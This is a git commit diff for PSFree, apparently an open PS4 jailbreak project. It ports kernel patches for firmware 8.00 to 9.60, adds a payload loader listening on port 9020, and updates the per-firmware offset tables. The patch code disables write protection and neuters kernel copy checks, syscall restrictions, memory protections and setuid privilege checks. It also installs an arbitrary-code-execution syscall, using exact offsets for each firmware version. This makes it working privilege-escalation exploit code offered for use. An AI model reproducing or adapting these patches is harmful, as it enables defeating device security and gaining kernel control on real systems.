Push updates...

1. Cleanup/Linting/Tweaks/Fixes/etc
  - Default Prettier config w/ 999 line length
  - Default eslint config "problems" list trimmed down
2. Fixed corrupt pointer cleanup by abc
3. Fixed `ip6po_rthdr` offset for PS5 by abc
4. Verified the number of blocking requests needed to be two by abc
5. Only run kernel exploit once by checking setuid by @JTAG7371
6. Kernel patches from pOOBs4 by @ChendoChap (Ported for 8.00-9.60)
7. Payload loader from pOOBs4 by @ChendoChap
8. Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm
9. Add `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by @janisslsm

The ONLY things that should need changes are the `/rop/ps4/*.mjs` files (850, 900, and 950).
Firmware 8.00 appears to be stable/have a good success rate now.
This commit is contained in:
Al Azif
2025-06-01 03:46:23 -07:00
parent 23d3e70647
commit 3ab19c3a0b
29 changed files with 4082 additions and 4105 deletions

3
.prettierrc Normal file
View File

@@ -0,0 +1,3 @@
{
"printWidth": 999
}

View File

@@ -7,7 +7,7 @@ PSFree is a collection of exploits for the PS4 console. The main focus of the re
* **Auto-detection:** Automatically detects console type and firmware version (via `src/config.mjs`).
* **WebKit Exploit (PSFree):** Entry point via the console's web browser.
* **Kernel Exploit (Lapse):** Escalates privileges to kernel level.
* ~~Payload Loader: After successful kernel exploitation listens for a payload on port 9020.~~ **WIP**
* **Payload Loader:** After successful kernel exploitation listens for a payload on port 9020.
## Vulnerability Scope
@@ -29,7 +29,6 @@ This table indicates firmware versions for which the *current version* of this r
## TODO List
- [ ] Integrate payload loader (Test on 8.00-8.03)
- [ ] Rewrite JOP chains in `rop/ps4/850.mjs`, `rop/ps4/900.mjs`, and `rop/ps4/950.mjs`
- I scrapped the ones I had...
- [ ] `lapse.mjs`: Just set the bits for JIT privs

View File

@@ -26,27 +26,17 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// We log the line and column numbers as well since some exceptions (like
// SyntaxError) do not show it in the stack trace.
addEventListener('unhandledrejection', event => {
const reason = event.reason;
alert(
'Unhandled rejection\n'
+ `${reason}\n`
+ `${reason.sourceURL}:${reason.line}:${reason.column}\n`
+ `${reason.stack}`
);
addEventListener("unhandledrejection", (event) => {
const reason = event.reason;
alert(`Unhandled rejection\n${reason}\n${reason.sourceURL}:${reason.line}:${reason.column}\n${reason.stack}`);
});
addEventListener('error', event => {
const reason = event.error;
alert(
'Unhandled error\n'
+ `${reason}\n`
+ `${reason.sourceURL}:${reason.line}:${reason.column}\n`
+ `${reason.stack}`
);
return true;
addEventListener("error", (event) => {
const reason = event.error;
alert(`Unhandled error\n${reason}\n${reason.sourceURL}:${reason.line}:${reason.column}\n${reason.stack}`);
return true;
});
// we have to dynamically import the program if we want to catch its syntax
// errors
import('./psfree.mjs');
import("./psfree.mjs");

View File

@@ -38,46 +38,46 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// check if value is in Binary Coded Decimal format
// assumes integer and is in the range [0, 0xffff]
function check_bcd(value) {
for (let i = 0; i <= 12; i += 4) {
const nibble = (value >>> i) & 0xf;
for (let i = 0; i <= 12; i += 4) {
const nibble = (value >>> i) & 0xf;
if (nibble > 9) {
return false;
}
if (nibble > 9) {
return false;
}
}
return true;
return true;
}
export function set_target(value) {
if (!Number.isInteger(value)) {
throw TypeError(`value not an integer: ${value}`);
}
if (!Number.isInteger(value)) {
throw TypeError(`value not an integer: ${value}`);
}
if (value >= 0x20000 || value < 0) {
throw RangeError(`value >= 0x20000 or value < 0: ${value}`);
}
if (value >= 0x20000 || value < 0) {
throw RangeError(`value >= 0x20000 or value < 0: ${value}`);
}
const version = value & 0xffff;
if (!check_bcd(version)) {
throw RangeError(`value & 0xffff not in BCD format ${version}`);
}
const version = value & 0xffff;
if (!check_bcd(version)) {
throw RangeError(`value & 0xffff not in BCD format ${version}`);
}
target = value;
target = value;
}
function get_target_from_ua(useragent) {
const pattern = /^Mozilla\/5\.0 \(?(?:PlayStation; )?PlayStation (4|5)[ \/]([0-9]{1,2}\.[0-9]{2})\)? AppleWebKit\/[0-9.]+ \(KHTML, like Gecko\)(?: Version\/[0-9.]+ Safari\/[0-9.]+)?$/;
const match = pattern.exec(useragent);
if (!match) {
return;
}
const pattern = /^Mozilla\/5\.0 \(?(?:PlayStation; )?PlayStation (4|5)[ \/]([0-9]{1,2}\.[0-9]{2})\)? AppleWebKit\/[0-9.]+ \(KHTML, like Gecko\)(?: Version\/[0-9.]+ Safari\/[0-9.]+)?$/;
const match = pattern.exec(useragent);
if (!match) {
return;
}
if (match[1] == '4') {
return parseInt(`0x0${match[2].replace('.', '').padStart(4, '0')}`);
} else if (match[1] == '5') {
return parseInt(`0x1${match[2].replace('.', '').padStart(4, '0')}`);
}
if (match[1] == "4") {
return parseInt(`0x0${match[2].replace(".", "").padStart(4, "0")}`);
} else if (match[1] == "5") {
return parseInt(`0x1${match[2].replace(".", "").padStart(4, "0")}`);
}
}
export let target = null;

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x62d254, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x25e10d, 0xeb); // bzero
write8(kbase, 0x25e151, 0xeb); // pagezero
write8(kbase, 0x25e1cd, 0xeb); // memcpy
write8(kbase, 0x25e211, 0xeb); // pagecopy
write8(kbase, 0x25e3bd, 0xeb); // copyin
write8(kbase, 0x25e86d, 0xeb); // copyinstr
write8(kbase, 0x25e93d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0xfd03a, 0x37);
write8(kbase, 0xfd03d, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x34d696, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x3ec68d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x318d84, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x951c0, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x34d696, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0xfd03a, 0x37);
write8(kbase, 0xfd03d, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc6e0;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x10fc6e0, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0xe629c);
write64(kbase, 0x10fc6e0 + 8, kbase + 0xe629c);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x10fc6e0 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x624674, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x3a403d, 0xeb); // bzero
write8(kbase, 0x3a4081, 0xeb); // pagezero
write8(kbase, 0x3a40fd, 0xeb); // memcpy
write8(kbase, 0x3a4141, 0xeb); // pagecopy
write8(kbase, 0x3a42ed, 0xeb); // copyin
write8(kbase, 0x3a479d, 0xeb); // copyinstr
write8(kbase, 0x3a486d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x826ea, 0x37);
write8(kbase, 0x826ed, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x22f3d6, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x14d6dd, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x17474, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x3ad040, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x22f3d6, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x826ea, 0x37);
write8(kbase, 0x826ed, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc7d0;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x10fc7d0, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0xc810d);
write64(kbase, 0x10fc7d0 + 8, kbase + 0xc810d);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x10fc7d0 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x626874, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x2713fd, 0xeb); // bzero
write8(kbase, 0x271441, 0xeb); // pagezero
write8(kbase, 0x2714bd, 0xeb); // memcpy
write8(kbase, 0x271501, 0xeb); // pagecopy
write8(kbase, 0x2716ad, 0xeb); // copyin
write8(kbase, 0x271b5d, 0xeb); // copyinstr
write8(kbase, 0x271c2d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632a, 0x37);
write8(kbase, 0x16632d, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x23aec4, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x221b40, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632a, 0x37);
write8(kbase, 0x16632d, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x1100520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x1100520, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x1100520 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x624834, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x27107d, 0xeb); // bzero
write8(kbase, 0x2710c1, 0xeb); // pagezero
write8(kbase, 0x27113d, 0xeb); // memcpy
write8(kbase, 0x271181, 0xeb); // pagecopy
write8(kbase, 0x27132d, 0xeb); // copyin
write8(kbase, 0x2717dd, 0xeb); // copyinstr
write8(kbase, 0x2718ad, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x1662da, 0x37);
write8(kbase, 0x1662dd, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x23ab94, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x221810, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x1662da, 0x37);
write8(kbase, 0x1662dd, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x10fc520, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x5325b);
write64(kbase, 0x10fc520 + 8, kbase + 0x5325b);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x10fc520 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -60,8 +60,20 @@ void do_patch(void) {
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x624ae4, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x201c0d, 0xeb); // bzero
write8(kbase, 0x201c51, 0xeb); // pagezero
write8(kbase, 0x201ccd, 0xeb); // memcpy
write8(kbase, 0x201d11, 0xeb); // pagecopy
write8(kbase, 0x201ebd, 0xeb); // copyin
write8(kbase, 0x20236d, 0xeb); // copyinstr
write8(kbase, 0x20243d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
@@ -95,19 +107,16 @@ void do_patch(void) {
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x122d7a, 0x37);
write8(kbase, 0x122d7d, 0x37);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1fa536, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
@@ -119,8 +128,10 @@ void do_patch(void) {
// }
write32(kbase, 0x196d3d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// TODO: Description of this patch. "prx"
write16(kbase, 0x19f724, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
@@ -142,13 +153,14 @@ void do_patch(void) {
// ...
write32(kbase, 0x11960, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1fa536, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x122d7a, 0x37);
write8(kbase, 0x122d7d, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
@@ -164,15 +176,12 @@ void do_patch(void) {
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10f9500;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_narg = 2
write32(kbase, 0x10f9500, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x15a6d);
write64(kbase, 0x10f9500 + 8, kbase + 0x15a6d);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
write32(kbase, 0x10f9500 + 0x2c, 1);
enable_cr0_wp();
}

File diff suppressed because it is too large Load Diff

View File

@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.00, 8.01, 8.03
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25610,
'pthread_join' : 0x27c60,
'pthread_barrier_init' : 0xa0e0,
'pthread_barrier_wait' : 0x1ee00,
'pthread_barrier_destroy' : 0xe180,
'pthread_exit' : 0x19eb0,
}));
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0x25610,
pthread_join: 0x27c60,
pthread_barrier_init: 0xa0e0,
pthread_barrier_wait: 0x1ee00,
pthread_barrier_destroy: 0xe180,
pthread_exit: 0x19eb0,
}),
);
export const off_kstr = 0x7edcff;
export const off_cpuid_to_pcpu = 0x228e6b0;
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x228e6b0;
export const off_sysent_661 = 0x11040c0;
export const jmp_rsi = 0xe629c;
export const patch_elf_loc = './kpatch/800.bin'; // Relative to `../../lapse.mjs`
export const patch_elf_loc = "./kpatch/800.bin"; // Relative to `../../lapse.mjs`

View File

@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.50
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0xebb0,
'pthread_join' : 0x29d50,
'pthread_barrier_init' : 0x283c0,
'pthread_barrier_wait' : 0xb8c0,
'pthread_barrier_destroy' : 0x9c10,
'pthread_exit' : 0x25310,
}));
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0xebb0,
pthread_join: 0x29d50,
pthread_barrier_init: 0x283c0,
pthread_barrier_wait: 0xb8c0,
pthread_barrier_destroy: 0x9c10,
pthread_exit: 0x25310,
}),
);
export const off_kstr = 0x7da91c;
export const off_cpuid_to_pcpu = 0x1cfc240;
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x1cfc240;
export const off_sysent_661 = 0x11041b0;
export const jmp_rsi = 0xc810d;
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`
export const patch_elf_loc = "./kpatch/850.bin"; // Relative to `../../lapse.mjs`

View File

@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.52
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0xebb0,
'pthread_join' : 0x29d60,
'pthread_barrier_init' : 0x283d0,
'pthread_barrier_wait' : 0xb8c0,
'pthread_barrier_destroy' : 0x9c10,
'pthread_exit' : 0x25320,
}));
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0xebb0,
pthread_join: 0x29d60,
pthread_barrier_init: 0x283d0,
pthread_barrier_wait: 0xb8c0,
pthread_barrier_destroy: 0x9c10,
pthread_exit: 0x25320,
}),
);
export const off_kstr = 0x7da91c;
export const off_cpuid_to_pcpu = 0x1cfc240;
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x1cfc240;
export const off_sysent_661 = 0x11041b0;
export const jmp_rsi = 0xc810d;
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`
export const patch_elf_loc = "./kpatch/850.bin"; // Relative to `../../lapse.mjs`

View File

@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25510,
'pthread_join' : 0xafa0,
'pthread_barrier_init' : 0x273d0,
'pthread_barrier_wait' : 0xa320,
'pthread_barrier_destroy' : 0xfea0,
'pthread_exit' : 0x77a0,
}));
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0x25510,
pthread_join: 0xafa0,
pthread_barrier_init: 0x273d0,
pthread_barrier_wait: 0xa320,
pthread_barrier_destroy: 0xfea0,
pthread_exit: 0x77a0,
}),
);
export const off_kstr = 0x7f6f27;
export const off_cpuid_to_pcpu = 0x21ef2a0;
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21ef2a0;
export const off_sysent_661 = 0x1107f00;
export const jmp_rsi = 0x4c7ad;
export const patch_elf_loc = './kpatch/900.bin'; // Relative to `../../lapse.mjs`
export const patch_elf_loc = "./kpatch/900.bin"; // Relative to `../../lapse.mjs`

View File

@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.03, 9.04
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25510,
'pthread_join' : 0xafa0,
'pthread_barrier_init' : 0x273d0,
'pthread_barrier_wait' : 0xa320,
'pthread_barrier_destroy' : 0xfea0,
'pthread_exit' : 0x77a0,
}));
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0x25510,
pthread_join: 0xafa0,
pthread_barrier_init: 0x273d0,
pthread_barrier_wait: 0xa320,
pthread_barrier_destroy: 0xfea0,
pthread_exit: 0x77a0,
}),
);
export const off_kstr = 0x7f4ce7;
export const off_cpuid_to_pcpu = 0x21eb2a0;
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21eb2a0;
export const off_sysent_661 = 0x1103f00;
export const jmp_rsi = 0x5325b;
export const patch_elf_loc = './kpatch/903.bin'; // Relative to `../../lapse.mjs`
export const patch_elf_loc = "./kpatch/903.bin"; // Relative to `../../lapse.mjs`

View File

@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x1c540,
'pthread_join' : 0x9560,
'pthread_barrier_init' : 0x24200,
'pthread_barrier_wait' : 0x1efb0,
'pthread_barrier_destroy' : 0x19450,
'pthread_exit' : 0x28ca0,
}));
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0x1c540,
pthread_join: 0x9560,
pthread_barrier_init: 0x24200,
pthread_barrier_wait: 0x1efb0,
pthread_barrier_destroy: 0x19450,
pthread_exit: 0x28ca0,
}),
);
export const off_kstr = 0x769a88;
export const off_cpuid_to_pcpu = 0x21a66c0;
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21a66c0;
export const off_sysent_661 = 0x1100ee0;
export const jmp_rsi = 0x15a6d;
export const patch_elf_loc = './kpatch/950.bin'; // Relative to `../../lapse.mjs`
export const patch_elf_loc = "./kpatch/950.bin"; // Relative to `../../lapse.mjs`

View File

@@ -15,90 +15,85 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
